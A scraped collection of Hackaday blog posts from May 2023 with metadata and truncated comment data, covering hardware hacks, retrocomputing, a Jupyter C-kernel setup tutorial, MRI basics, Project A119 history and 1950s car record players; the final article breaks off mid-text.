https://hackaday.com/2023/05/11/hackaday-prize-2023-meet-the-ten-re-engineering-education-finalists/ | Hackaday Prize 2023: Meet The Ten Re-Engineering Education Finalists | Tom Nardi | [
"Featured",
"Slider",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"2023 Hackaday Supercon",
"2023 Hackaday Superconference"
] | They say time flies when you’re having fun, and doubly so when you’re hacking hardware. If you can believe it, we’ve already closed out the first challenge of the
2023 Hackaday Prize
, and you know what that means — it’s time to announce the 10 finalists.
As a reminder, each of these projects not only takes home $500 USD, but moves on to the next round of judging. During the
recently announced 2023 Supercon
, we’ll announce the six projects that were selected by our panel of judges to collect their share of $100,000 in prize money– plus a residency at Supplyframe’s DesignLab and eternal hacker glory for the Grand Prize winner.
Teaching the Next Generation
The Re-engineering Education challenge asked hackers to come up with ideas that would help others learn new skills. As anyone reading Hackaday knows, learning is more than sitting down in a classroom with a textbook, so the best entries in this category were the ones that were interactive and promoted a hands-on approach.
Bolt Bots can take many forms.
For example, several of the finalists focus on robotics. There’s perhaps no better or more engaging way to get young people excited about STEM than having them build their own robots. But it can be a tall order for some schools, which is why projects like the
$10 Robot from Neil Lambeth are so exciting
. Dropping the cost of the bot’s control board down to the bare minimum not only means more schools can afford this kind of curriculum, but that students might even able to take their creations home to keep rather than having to leave them in the classroom.
Similarly,
Saul’s Bolt Bots project
aims to reduce the upfront cost of building robotic platforms by using 3D printed frame components and off-the-shelf servos. Finally,
EL-KiDS
from Sekolah Robot Indonesia uses a modular no-code approach to building robots which is perfect for younger students.
A calculator for a more civilized age.
The judges were also impressed with a number of computing projects. While affordable Linux-powered Chromebooks have become a welcome sight in many schools, they’re best used for consuming media and doing classwork — you won’t learn much about the nuts and bolts of computing with one.
For that, you need something like
Lee Hart’s 1802 MemberChip Card
. This pocket-sized computer uses RCA’s 1802 microprocessor and 64 KB of memory (split between RAM and ROM) to run BASIC, FORTH, LISP, and a few games. Best of all, students can build it themselves with the help of a Heathkit-style instruction manual.
We also saw a number of mobile computing devices entered into the Re-engineering Education challenge, such as the
Python Programmable Calculator (PYPRCA)
by bobricius and the
NEOklacker by Spider Jerusalem
. While you’ll find few students without their own mobile gadgets these days, the same rule applies as with the Chromebooks; they’re great tools, but you don’t learn much about what actually makes them tick by using them. Giving students a mobile device they can build, tweak, and rebuild, offers a whole new world of possibilities.
Re-engineering Education Finalists
$10 Robot!
20€ DIY-Eyetracker for school projects
1802 MemberChip Card
Bolt Bots – Micro Servo Droids
High Schoolers Build a Radio Receiver
EL-KiDS
Python Programmable Calculator
NEOklacker
DSP PAW
Lu.i Educational Neuron PCB
Lending a Hand
The Re-engineering Education challenge might be over, but the 2023 Hackaday Prize is just getting started. We’re
currently in the middle of the Assistive Tech challenge
, which tasks hackers with developing devices that can help those with disabilities earn back a bit of their independence — a noble goal if there ever was one. Afterwards, we’ve still got three more challenges to go before this year’s competition crosses the finish line.
As always, we wouldn’t be able to put on the Hackaday Prize — now in its tenth year — without the support of our incredible sponsors. Special thanks to Supplyframe and Digi-Key for helping us bring these ideas to life.
The
Hackaday
Prize 2023
is Sponsored by:
Late-breaking News (2023-05-15): The ESPboy project didn’t meet the requirements for an entry into the Hackaday Prize, and we only noticed this after the fact. We’re dropping it from the finalists, and so the next-up project, the
Lu.i Educational Neuron
, gets in. This project is so good that
we’ve featured it before
, and we’re stoked that it gets added to the list of finalists. | 31 | 8 | [
{
"comment_id": "6641743",
"author": "come2",
"timestamp": "2023-05-11T18:00:56",
"content": "Many of these are quite good projects, too bad they don’t have their own article to present them and why they were chosen. A theme like this is good because It allows to highlight projects that take into ac... | 1,760,372,303.700257 | ||
https://hackaday.com/2023/05/11/jump-like-mario-with-this-weighted-wearable/ | Jump Like Mario With This Weighted Wearable | Bryan Cockfield | [
"Virtual Reality",
"Wearable Hacks"
] | [
"backpack",
"falling",
"jumping",
"movement",
"moving weight",
"robot",
"virtual reality",
"vr",
"wearable",
"weight"
] | Virtual reality has come a long way in the past decade, with successful commercial offerings for gaming platforms still going strong as well as a number of semi-virtual, or augmented, reality tools that are proving their worth outside of a gaming environment as well. But with all this success they still haven’t quite figured out methods of locomotion that feel natural like walking or running. One research group is leaping to solve one of these issues with
JumpMod: a wearable device that enhances the sensation of jumping
.
The group, led by [Pedro Lopes] at the University of Chicago, uses a two-kilogram weight worn on the back to help provide the feeling of jumping or falling. By interfacing it with the virtual reality environment, the weight can quickly move up or down its rails when it detects that the wearer is about to commit to an action that it thinks it can enhance. Wearers report feeling like they are jumping much higher, or even smashing into the ground harder. The backpack offers a compact and affordable alternative to the bulky and expensive hardware traditionally used for this purpose.
With builds like these, we would hope the virtual reality worlds that are being created become even more immersive and believable. Of course that means a lot more work into making other methods of movement in the virtual space feel believable (like walking, to start with) but it’s an excellent piece of technology that shows some progress. Augmenting the virtual space doesn’t always need bulky hardware like this, though. Take
a “look” at this device
which can build a believable virtual reality space using nothing more than a webcam. | 5 | 3 | [
{
"comment_id": "6641744",
"author": "Foldi-One",
"timestamp": "2023-05-11T18:03:29",
"content": "Interesting idea, though it seems like it needs to have 2 maybe 3 more that can work against each other. So you can get some degree of rapid recharge and perhaps provide more nuance to the feedback as w... | 1,760,372,303.561675 | ||
https://hackaday.com/2023/05/11/linux-fu-c-on-jupyter/ | Linux Fu: C On Jupyter | Al Williams | [
"Hackaday Columns",
"Linux Hacks"
] | [
"Jupyter Notebook",
"linux"
] | If you are a Pythonista or a data scientist, you’ve probably used Jupyter. If you haven’t, it is an interesting way to work with Python by placing it in a Markdown document in a web browser. Part spreadsheet, part web page, part Python program, you create notebooks that can contain data, programs, graphics, and widgets. You can run it locally and attach to it via a local port with a browser or, of course, run it in the cloud if you like. But you don’t have to use Python.
You can, however, use things with Jupyter other than Python with varying degrees of success. If you are brave enough, you can
use C
. And if you look at
this list
, you’ll see you can use things ranging from Javascript, APL, Fortran, Bash, Rust, Smalltalk, and even MicroPython.
There are a few reasons I use the term “varying degrees of success.” First, not all of these kernels are official, so you never know how old some of them are until you try them. But what’s more, Jupyter works better with scripting-type languages that can run little snippets without a lot of effort. Not all of these languages fit that description. One of the worst offenders in this department is C. So naturally, I decided I wanted a C-language notebook. This is the story of how that went.
Why?
You may have many reasons for using C from a notebook. Maybe you are more adept at C than Python, and you are in a hurry. Perhaps you have some strange and wonderful library that really doesn’t want to work with Python.
You can modify those arguments to fit any of the languages you can use. However, as usual, we don’t have to figure out why to want to know how to do something. I will, however, show you a bit later that there are other options to use both Python and C in the same notebook — sort of. But first, let’s look at the actual kernel.
How?
Under Linux, at least, you have a few choices about installing Juypter. Using the repo is often unsatisfying because things aren’t there or are out of date. But if you install using the normal methods, it tends to stomp over other things you may use that have Python requirements. Ideally, this wouldn’t be the case, and sometimes everything works out, but I can tell you what has worked for me.
The first thing I do is load Anaconda, which allows you to set virtual Python environments easily. In fact, it starts with a base environment. Then I promptly turn that environment off by default. When I want to work with something like Juypter, I turn on that environment, but for normal day-to-day work, I just leave it turned off.
To do that, follow
the instructions from the Anaconda website
. I suggest not using
sudo
to install. Everything will install fine locally for your user, and there’s less chance of screwing up system software by doing it that way. As part of the installation, you’ll get a change to your
.bashrc
file that activates everything by default. Or you can tell it not to do that and issue a command like this to turn it on later:
. ~/my-conda-dir/bin/activate
But I just let it add a bit to my
.bashrc
. You need to start a new shell after you install so it will “take.” Then I immediately issue this command:
conda config --set auto_activate_base False
This won’t work if you didn’t start a new shell, by the way, so if you get an error, that’s a likely culprit. Now when you want to use the Anaconda environment for something like Jupyter, you can simply enter:
conda activate base
Obviously, if you make up different environments later, you would activate them instead. The default install has Jupyter and
a lot of other things, too
. However, if you want to do exotic kernels, you have some more installing to do.
For C, you want to ensure the conda environment is activated (presumably base, as I showed above). Then do the following commands:
pip install jupyter-c-kernel
install_c_kernel --user
You might get a warning, but if all goes well, you are in business.
In Practice
Run
jupyter-notebook
, and you’ll see a start-up screen in your browser. Pick New from the right-hand side of the page and select C as the notebook type. That’s all there is to it.
A C Example
Of course, now, you need to populate a program. Whatever C code you have in a cell stands alone, so you can’t really distribute it around to different cells. It also has to be a complete compilable unit. Here’s a really simple example.
Execute in the usual way (from the menu or Control+Enter).
If you need options sent to the compiler, you can do that with a line at the top of the cell:
//%cflags:-lm
In this case, it passes the -lm option to the compiler so you can use the math library.
Other Ways
If you don’t like working in the browser, some IDEs will let you work in Jupyter notebooks.
VS Code
, for example, works well. Another option is to keep using the Python kernel, but compile and run your C code via the operating system. This will often even work in cloud environments that don’t support the C kernel. Naturally, too, it will work with just about anything you can do from the command line like C++, awk, or whatever.
The trick is that, when using the Python kernel, you can use a ! to execute shell commands and a %% to specify that a particular cell lives in a file. So consider this
notebook from Google Collab
:
We make a directory, put a C file in it, compile it and run it. Later, we use awk to filter the directory listing. Nothing amazing, but you can see how you could do nearly anything with this method.
Wrap Up
Honestly, if you really want a Jupyter Notebook, C might not be your best choice for a kernel. But it is a choice, and sometimes, you really need to use some odd language from the kernel list. Maybe you have that 50-year-old Fortran code.
We looked at
Jupyter, in general, a few years ago
. If you prefer
Fortran
, we got you. | 22 | 11 | [
{
"comment_id": "6641689",
"author": "zoobab",
"timestamp": "2023-05-11T14:17:13",
"content": "Jupyter as Arduino IDE replacement?I am trying to use WebUSB and port some flashing tools to be able to talk to USB devices.Arduino forked the Theia browser, but the web part is not published. Or maybe the... | 1,760,372,303.769938 | ||
https://hackaday.com/2023/05/11/a-crash-course-on-how-mri-machines-work/ | A Crash Course On How MRI Machines Work | Dave Rowntree | [
"Medical Hacks"
] | [
"coils",
"fourier transform",
"magnet",
"medical",
"mri"
] | Of all the high-tech medical gadgets we read about often, the Magnetic Resonance Imaging (MRI) machine is possibly the most mysterious of all. The ability to peer inside a living body, in a minimally invasive manner whilst differentiating tissue types, in near real-time was the stuff of science fiction not too many years ago. Now it’s commonplace. But how does the machine actually work?
Real Engineering
on YouTube presents the
Insane Engineering of MRI Machines
to help us along this learning curve, at least in a little way.
Both types of gradient coil are stacked around the subject inside the main field coil
The basic principle of operation is to align the spin ‘axis’ of all the subject’s hydrogen nuclei using an enormous magnetic field produced by a liquid-helium-cooled superconducting electromagnet. The spins are then perturbed with a carefully tuned radio frequency pulse delivered via a large drive coil.
After a short time, the spins revert back to align with the magnetic field, remitting a radio pulse at the same frequency. Every single hydrogen nucleus (just a proton!) responds at roughly the same time, with the combined signal being detected by the receive coil (often the same physical coil as the driver.)
Time taken for the perturbed spin to return to magnetic alignment
There are two main issues to solve. Obviously, the whole body section is ‘transmitting’ this radio signal all in one big pulse, so how do you identify the different areas of 3D space (i.e. the different body structures) and how do you differentiate (referred to as contrast) different tissue types, such as determine if something is bone or fat?
By looking at the decay envelope of the return pulse, two separate measures with different periods can be determined; T1, the spin relaxation period, and T2, the total spin relaxation period. The first one is a measure of how long it takes the spin to realign, and the second measures the total period needed for all the individual interactions between different atoms in the subject to settle down. The values of T1 and T2 are programmed into the machine to adjust the pulse rate and observation time to favor the detection of one or the other effect, effectively selecting the type of tissue to be resolved.
Time taken for the relative phasing inside a tissue locality to settle down to the same average spin alignment
The second issue is more complex. Spatial resolution is achieved by first selecting a plane to virtually slice the body into a 2D image. Because the frequency of the RF pulse needed to knock the proton spin out of alignment is dependent upon the magnetic field strength, overlaying a second magnetic field via a gradient coil allows the local magnetic field to be tuned along the axis of the machine and with a corresponding tweak to the RF frequency an entire body slice can be selected.
All RF emissions from the subject emanate from just the selected slice reducing the 3D resolution problem to a 2D problem. Finally, a similar trick is applied orthogonally, with another set of gradient coils that adjust the relative phase of the spins of stripes of atoms through the slice. This enables the use of a 2D inverse Fourier transform of multiple phase and frequency combinations to image the slice from every angle, and a 2D image of the subject can then be reconstructed and sent to the display computer for the operator to observe.
See? It’s easy.
We cover MRI technology from time to time, here’s a
little update on state-of-the-art resolution
for those wishing the dig a little deeper. | 32 | 9 | [
{
"comment_id": "6641649",
"author": "Ostracus",
"timestamp": "2023-05-11T11:38:42",
"content": "“See? It’s easy.”I remember a book I had on the math behind MRI. A phone book sized tome.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641654",
"autho... | 1,760,372,305.795104 | ||
https://hackaday.com/2023/05/11/oscope-advert-from-1987-rocks-it/ | OScope Advert From 1987 Rocks It | Al Williams | [
"Tool Hacks"
] | [
"nostalgia",
"oscilloscope",
"tektronix"
] | We can’t remember ever seeing a late-night TV ad for oscilloscopes before but, for some reason, Tektronix did
produce a video ad
in 1987. You can see it below and enjoy the glorious music and video production standards of the 1980s.
We assume this was made to show at some trade show or the like. Even if there was a Home Shopping Network in 1987, we doubt many of these would have been sold despite the assertion they were “low cost” — clearly a relative term in this case.
You’ve got to wonder if the narrator understood what he was saying or if he was just reading from a script. Pretty impressive either way. We loved these old scopes, although we also like having very capable scopes that don’t strain our backs to lift.
On the bright side, these scopes today are pretty affordable on the used market if you can find one that doesn’t need a repair with an exotic part. For example, we found several 2221s or 2221As for under $200 without looking hard. The shipping, of course, could potentially almost double the price.
While you can get
a modern scope for $200
, it probably isn’t the same quality as a Tektronix. Then again, the new scope won’t have CRTs and exotic Tektronix parts to wear out, either.
Picking a scope
is a pretty personal affair, though, so one person’s great scope might be another person’s piece of junk. | 31 | 13 | [
{
"comment_id": "6641616",
"author": "hinspect",
"timestamp": "2023-05-11T08:21:24",
"content": "I have a small collection of Tektronix 422 scopes, one in new condition. Half Tube with Solid State. Why? I have no idea…☺",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment... | 1,760,372,305.720227 | ||
https://hackaday.com/2023/05/10/op-amp-contest-magnetic-core-memory-the-dr-cockroach-way/ | Op Amp Contest: Magnetic Core Memory The Dr Cockroach Way | Dave Rowntree | [
"computer hacks"
] | [
"differential amplifier",
"magnetic core",
"opamp",
"ram"
] | No matter how memory technology marches on, magnetic core memory is still cool. Radiation-hard, nonvolatile, and so pretty. What’s there not to love? [Mark Nesselhaus] is no stranger to fun in-your-face electronics builds — judging from his hackaday.io projects — and this entry to the Hackaday Op-Amp contest is no outlier. This is
a sixteen-bit magnetic core RAM demonstrator
built upon glass using copper tape and solder, which always looks great and is actually not all that hard to do yourself provided you grab a new scalpel blade from the pack before starting.
Transformer-coupled differential front-end amplifier driving an SR latch.
For the uninitiated, the crossed X and Y wires each host a hard magnetic toroid which can only be magnetised by a field beyond a certain threshold due to the shape of the
B-H curve
of ferrite materials. The idea is for a required threshold current, drive the selected X line and Y line each with a current half of this value, so that only the selected core bit ‘sees’ the full field value, and flips state. This means that only a single bit can be written for each core plane, so to form longer words these layers are stacked, producing some wonderful cubic structures. These magnetic circuits are responsible for putting a human on the moon.
Reading the bit state is basically the opposite. A third sense wire is passed sequentially through each bit in the array. By driving a current the opposite way through the selected core bit, if the core was previously magnetised then the sense wire will read a short pulse that can be amplified and registered. The eagle-eyed will realise that reading is a destructive process, so this needs to be followed up by a write-back process to refresh the bit, although the core state will persist without power, giving the memory nonvolatile behaviour.
[Mark] utilises a simple discrete transistor differential transformed-coupled front end which senses the tiny current pulse and passes it along to a Set-Reset latch for visualisation. This simple concept could easily be extended to make this a practical memory, but for now, addressing is courtesy of a pair of crocodile clips and a discrete write/read pulse switch. We will watch with interest how far this goes.
DIY core memory builds are not a regular occurrence around these parts, but we see them from time to time, like
this polished 64-bit setup
. Core arrays are not the only magnetic memory in town, we’ve also seen
DIY core rope memories
as well. | 24 | 5 | [
{
"comment_id": "6641604",
"author": "Ukmaker",
"timestamp": "2023-05-11T06:40:05",
"content": "Where’s the op-amp?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641606",
"author": "Dave Rowntree",
"timestamp": "2023-05-11T07:18:36",
... | 1,760,372,306.060507 | ||
https://hackaday.com/2023/05/10/a-look-inside-a-vintage-aircraft-altimeter/ | A Look Inside A Vintage Aircraft Altimeter | Dan Maloney | [
"classic hacks",
"Repair Hacks"
] | [
"aircraft",
"altimeter",
"aneroid",
"avionics",
"repair",
"teardown",
"vintage"
] | There’s a strange synchronicity in the projects we see here at Hackaday, where different people come up with strikingly similar stuff at nearly the same time. We’re not sure why this is, but it’s easily observable, with
this vintage altimeter teardown and repair
by our good friend [CuriousMarc] as the latest example.
The altimeter that [Marc] dissects in the video below was made by Kollsman, which is what prompted us to recall
this recent project
that turned a jet engine tachometer into a CPU utilization gauge. That instrument was also manufactured by Kollsman, but was electrically driven. [Marc]’s project required an all-mechanical altimeter, so he ordered a couple from eBay.
Unfortunately, thanks to rough handling in transit they arrived in less than working condition, necessitating the look inside. For which we’re thankful, of course, because the guts of these aneroid altimeters are quite impressive. The mechanism is all mechanical, with parts that look like something [Click Spring] would make for a fine timepiece. [Marc]’s inspection revealed the problem: a broken pivot screw keeping the expansion and contraction of the aneroid diaphragms from transmitting force to the gear train that moves the needles. The repair was a little improvisational, with 0.5-mm steel balls used to stand in for the borked piece. It may not be flight ready, but it worked well enough to get the instrument back in action.
We suspect that [Marc] won’t be able to leave well enough alone on this one, so we’ll be on the lookout for a proper repair. In the meantime, he’ll be able to use this altimeter in the test setup he’s building to test
a Bendix air data computer
from a 1950s-era jet fighter. | 21 | 4 | [
{
"comment_id": "6641312",
"author": "Alan",
"timestamp": "2023-05-10T08:57:38",
"content": "Please be *VERY* careful with old aircraft instruments, some of them have Radium markings for the digits and the pointers, which gives off Radon gas, which decays into solid radioactive elements which can lo... | 1,760,372,305.654813 | ||
https://hackaday.com/2023/05/09/wordstar-reborn/ | WordStar Reborn | Al Williams | [
"Retrocomputing",
"Software Hacks"
] | [
"retrocomputing",
"wordstar"
] | Wordstar was the word processor that helped sell the personal computer. At one time, it was ubiquitous, and many authors had a hard time giving it up. Some, like George R. R. Martin, apparently are still refusing to give it up. But most of us have moved on. Thanks to an open-source clone,
WordTsar
, you may not have to. This is a modern interpretation of our old friend.
Programmers that write were especially fond of WordStar since it had a non-document mode and was often the best text editor you had available for writing code. Being able to do your documentation without switching brain gears is useful, too. Touch typists love the efficiency of easy control of things without resorting to cursor keys or a mouse — the same thing vi and emacs fans enjoy but in a different way.
The software runs on multiple platforms and has some new features. Installation on Linux is easy because it is packaged in an AppImage file. Of course, you can also fire up your best CP/M machine, replica, or emulation and run the real WordStar, but — honestly — WordTsar seems more practical if you wanted to go back to using this kind of wordprocessor or editor for everyday use.
Of course, some word processors
were actual hardware
. If you want some
cheap CP/M hardware
, that’s easy enough, too. | 48 | 19 | [
{
"comment_id": "6641279",
"author": "Mikepl",
"timestamp": "2023-05-10T05:36:18",
"content": "Ctrl-k b, ctrl-k k sequence always in our hearts!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641288",
"author": "LC",
"timestamp": "2023-05-10... | 1,760,372,306.139923 | ||
https://hackaday.com/2023/05/09/scorched-moon-secret-project-a119/ | Scorched Moon: Secret Project A119 | Al Williams | [
"Misc Hacks"
] | [
"cold war",
"history",
"nuclear"
] | In today’s world, it is hard to realize how frightened Americans were at the news of Sputnik orbiting the Earth. Part of it was a fear of what a rival nation could do if they could fly over your country with impunity. Part of it was simply fear generated by propaganda. While America won the race to the moon, that wasn’t clear in the 1950s. The Soviet Union was ahead in the ability to deliver bombs using planes and missiles. They launched Sputnik on a modified ICBM, while American attempts to do the same failed spectacularly. The Air Force wanted ideas about how to respond to Sputnik, and one of the most disturbing ones was
project A119
, a project we were reminded of recently by a BBC post.
In all fairness, the Soviets had an almost identical plan, code-named E4. Fortunately, both sides eventually realized these plans weren’t a good idea. Oh, did we forget to mention that A119 and E4 were plans to detonate a nuclear device on the moon?
The official title was
“A Study of Lunar Research Flights, Volume 1
” which sounds benign enough. But the idea was to drop a hydrogen bomb at the terminator line on the moon, presumably to scare the Soviets and prevent them from planning military bases on the lunar surface. Well, ostensibly, it was for science, but it is hard to imagine what science would be worth irradiating the moon with a nuclear device.
The abstract reads:
Nuclear detonations in the vicinity of the the moon are considered in this report along with scientific information which might be obtained frorn such explosions. The military aspect is aided by investigation of space environment, detection of nuclear device testing, and capability of weapons in space.
A study was conducted of various theories of the moon’s structure and origin, and a description of the probable nature of the lunar surface is given. The areas discussed In some detail are optical lunar studies, seismic observations, lunar surface and magnetic fields, plasma and magnetic field effects, and organic matter on the moon.
We aren’t sure what the organic matter part was about. Like many cold war things, this makes no sense knowing what we know now. Keep in mind, too, that back then, people also were proposing other uses for nuclear bombs, such as
working with natural gas
and working on excavation projects. The moon has been the topic of more than
one cloak-and-dagger escapade
. | 35 | 11 | [
{
"comment_id": "6641255",
"author": "Michael Black",
"timestamp": "2023-05-10T02:17:29",
"content": "Don’t forget, Heinlein had nazis on the moon with nuclear bombs in Rocket Ship Galileo.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6641258",
"author":... | 1,760,372,305.903252 | ||
https://hackaday.com/2023/05/09/tiny-orrery-keeps-the-planets-in-their-places/ | Tiny Orrery Keeps The Planets In Their Places | Dan Maloney | [
"Misc Hacks"
] | [
"basswood",
"engraved",
"esp32-C3",
"laser cutter",
"orrery",
"planetarium",
"zodiac"
] | [Frans] claims to have made
the world’s smallest wooden orrery
. We won’t take a position on that — such things are best left up to the good folks at Guinness. But given that the whole thing is seriously in danger of being dwarfed by a USB-C connector, we’d say he’s got a pretty good shot at that record.
The key to keeping this planetarium so petite while making it largely out of wood is to eschew the complex gear trains that usually bring the Music of the Spheres to life in such devices. The layered base of the orrery, with pieces cut from a sheet of basswood using a laser cutter, contains a single tiny stepper motor and just two gears. A zodiac disc sits atop the base and is the only driven element in the orrery; every other celestial body moves thanks to a pin set into the zodiac disc. An ESP32 C3 contacts a NASA feed once a day to get the relative positions of the planets and uses the zodiac disk to arrange everything nicely for the day. The video below shows the “Planet Spinner” in action.
We love the look of this project; the burnt edges and lightly smoked surface of the laser-cut wooden parts look fantastic, and the contrast with the brass wires is striking. We’ve seen an orrery or two around here, executed in everything from
solid brass
to
Lego
, but this one really tickled our fancy. | 9 | 8 | [
{
"comment_id": "6641239",
"author": "CityZen",
"timestamp": "2023-05-09T23:50:00",
"content": "Nice and simple, but I prefer it when you can speed up time to see the planets spin around with appropriate relative velocities. Doing it with this one would require a time lapse.",
"parent_id": null... | 1,760,372,305.494579 | ||
https://hackaday.com/2023/05/09/making-music-by-probing-magnetite-crystals/ | Making Music By Probing Magnetite Crystals | Dave Rowntree | [
"Art"
] | [
"arduino",
"art",
"conductivity",
"Lattepanda",
"magnetite",
"pure data",
"servo",
"vvvv"
] | Well, noises anyway. [Dmitry Morozov] and [Alexandra Gavrilova] present an
interesting electronics-based art installation
, which probes a large chunk of crystalline magnetite, using a pair of servo-mounted probes, ‘measuring’ the surface conductivity and generating some sound and visuals.
It appears to have only one degree of freedom per probe, so we’re not so sure all that much of the surface gets
probed per run, but however it works it produces some interesting, almost random results. The premise is that the point-to-point surface resistivity is unpredictable due to the chaotically formed crystals all jumbled up, but somehow uses these measured data to generate some waveshapes vaguely reminiscent of the resistivity profile of the sample, the output of which is then fed into a sound synthesis application and pumped out of a speaker. It certainly looks fun.
From a constructional perspective, hardware is based around a
LattePanda
fed samples by an
ADS1115 ADC
, which presumably is also responsible for driving the LCD monitor and the sound system. An Arduino is also wedged in there perhaps for servo-driving duty, maybe also as part of the signal chain from the probes, but that is just a guess on our part. The software uses the
VVVV
(Visual Live-programming suite) and the
Pure Data
environment.
We haven’t seen magnetite used for this type of application before, we tend to see it as a
source of Iron for DIY knifemaking
, as a medium to
help separate DNA
or just to
make nanoparticles
, for erm, reasons. | 2 | 1 | [
{
"comment_id": "6641319",
"author": "CRJEEA",
"timestamp": "2023-05-10T09:42:14",
"content": "Ot would be interesting to couple this with a high resolution 3D scanner, a leap motion maybe.Then have a robot arm position the probes, overlaying the measurements onto a map of the surface.Not only allow... | 1,760,372,305.5993 | ||
https://hackaday.com/2023/05/09/hackaday-prize-2023-bolt-bot-micro-servo-droids/ | Hackaday Prize 2023: Bolt Bot Micro Servo Droids | Dave Rowntree | [
"Robots Hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"3d printed",
"arduino",
"kit",
"nRF24L01+",
"robotics",
"servo motor",
"wireless"
] | This Hackaday prize entry from [saul] is the beginning of a
reconfigurable kit of 3D printed parts and servo motors for robotics learning
. With just access to a printer, a few cheap-as-chips servo motors, an Arduino, and some nuts and bolts, you could be hacking together robot walkers within a few hours of starting!
Bolt Bots is very simple to understand, with all the mechanics and wiring out there in the breeze, but strictly for indoor use we reckon. If you want to add remote control to your application, then drop in one of the ubiquitous
nRF24L01 boards and build yourself a copy of the remote control [saul] handily provides in
this other project
.
There really isn’t a great deal we can say about this, as it’s essentially a build kit with quite a few configuration options, and you just have to build with it and see what’s possible. We expect the number of parts to proliferate over time giving even more options. So far [saul] demonstrates a few flavors of ‘walkers’, a rudimentary ‘robot arm’, and even a hanging drawbot.
The bolt hardware can be found in this
GitHub repo
, and the remote control code in this
second one
.
Servo-based designs are sometimes sneered at due to their dubious accuracy and repeatability, but with a little of effort,
this can be vastly improved upon
. Also, multi-legged walkers need multiple servos and controllers to drive ’em.
Or do they
?
The
Hackaday
Prize 2023
is Sponsored by: | 1 | 1 | [
{
"comment_id": "6642765",
"author": "Saul",
"timestamp": "2023-05-14T23:48:34",
"content": "“with all the mechanics and wiring out there in the breeze”, these are only prototypes -_-Funny the arm layout is almost the same, just missing the rotation on the end.I want to read up on this a bit, but I ... | 1,760,372,305.83569 | ||
https://hackaday.com/2023/05/09/retro-gadgets-i-swear-officer-i-was-listening-to-45/ | Retro Gadgets: I Swear Officer, I Was Listening To 45 | Al Williams | [
"Featured",
"History",
"Interest",
"Slider"
] | [
"car audio",
"record player"
] | Audio in cars has a long history. Car radios in the 1920s were bulky and expensive. In the 1930s, there was the Motorola radio. They were still expensive — a $540 car with a $130 radio — but much more compact and usable. There were also 8-tracks, cassettes, CDs, and lately digital audio on storage media or streamed over the phone network. There were also record players. For a brief period between 1955 and 1961, you could get a car with a record player. As you might expect, though, they weren’t just any record players. After all, the first thing to break on a car from that era was the mechanical clock. Record players would need to be rugged to work and continue to work in a moving vehicle. As you might also expect, it didn’t work out very well.
It all started with Peter Goldmark, the head of CBS Laboratories. He knew a lot about record players and had been behind the LP — microgroove records that played for 22 minutes on a side at 33.3 RPM instead of 5 minutes on a side at 78 RPM. He knew that a car record player needed to be smaller and shock-resistant. Of course, in those days, it would have tubes, but that could hardly be helped.
The problem turned into one of size. A standard 10- or 12-inch disk is too big to easily fit in the car. A 45 RPM record would be more manageable, but who wants to change the record every three or four minutes while driving?
A Plan
The user manual explains the unit’s operation
Goldmark slowed the record player down to 16.7 RPM. The records used a very tight pitch of 550 groovers per inch. This required a much thinner groove than conventional records, too. For records where high fidelity wasn’t an issue, a smaller center label allowed up to an hour to play on each side. For music, where the audio quality near the center wasn’t acceptable, they used a normal label and settled for 45 minutes of play time.
To help prevent skipping, the very tiny stylus was under unusually high pressure, and the records were made dense to resist wear from the heavy pressure. The 7-inch disks used as much plastic as a conventional 10-inch record. While a conventional stylus might be as small as 0.5 mils, the Highway Hi-Fi stylus was 0.25 mils! That’s just a bit more than 6 microns!
There was also a special design for the tonearm. It couldn’t move vertically, for example. A three-point suspension tried to minimize motion at the stylus, too. Since CBS developed the format, the only records you could get were from the CBS label.
On the Road
Exploded view from a service bulletin
In 1955 Chrysler introduced “Highway Hi-Fi” for the 1956 model year. You could only buy the unit, which sat under the dash, as a factory option or have it installed by an authorized distributor. There was storage space for six of the new records. The October 1955 press release mentioned the unit was four inches high and less than a foot wide. The definition of hi-fi has changed a bit since the release also brags that the record player “reaches 10,000 cycles per second.”
But there were problems. First, you couldn’t use the records you already had, nor could you grab the new records and play them somewhere else. They only fit in your car’s player. If you got a different car brand or decided not to install a Highway Hi-Fi in the new one, your records were now worthless to you. Besides, there were only 42 different records available in the new format. You can see a very rare “new old stock” Highway Hi-Fi in the video from [Lou Costabile] below.
Like the mechanical clocks, too, the record players started to break down. A lot. By 1957, Chrysler was taking a beating on warranty service for the units and started quietly withdrawing them.
We are pretty sure the mechanical parts were responsible for many of the malfunctions, but there were other problems, too. The Highway Hi-Fi used an AC induction motor. Your car, of course, has DC power, so the unit incorporated a vibrator power supply. These are both noisy and highly prone to failure.
Not the End, Not Yet
RCA Victor 45
In 1960, RCA tried again with a player that would work with standard 45s. They were even less reliable than the CBS units, and standard 45s were quickly worn out by the high-pressure stylus. By 1961, the thing was dead.
The RCA player incorporated a 14-disk changer and could store more disks than it could play. With extended-play 45s, you could get about 2.5 hours of music before you had to change disks. The tonearm was under the stack of records and played the bottom side of the disk. To change records, the tonearm cleared a path, and the record dropped underneath the arm. You can clearly see this in [George Borrelli’s] demonstration video, below.
Norelco/Philips also came out with a smaller record player that only held one 45. The Auto Mignon didn’t store records, and a single 45 would play for less than five minutes. From watching a video of the device below, it looks like a lot of it was suspension springs.
As an aside, after a court case in 1943, Philips was legally enjoined from using Philips on anything they sold in the United States. The courts decided it sounded too much like Philco, and that’s why in the United States, you saw these branded as Norelco while the rest of the world saw the Philips brand.
Despite limitations, the Auto Mignon was relatively cheap ($57.50) and installable into any vehicle. We aren’t exactly sure when they faded off the market, but it was just a matter of time, anyway. In 1962, Earl Muntz started selling 4-track tape players and music on “CARtridges,” but mostly in California and Florida. Then Bill Lear introduced the 8-track in the early 1960s. The rest, as the say, is history.
If you think audiobooks are a modern idea, the video below might change your mind. We didn’t find much information on these, but these disks are strange since they are fine-groove 16 RPM records, but it appears they were made for a custom player we’ve never heard of before. Note that the center hole looks more like a 45, while the Highway Hi-Fi had a small hole like an LP. Maybe someone who knows more about this mysterious system will enlighten us in the comments.
Timing is Everything
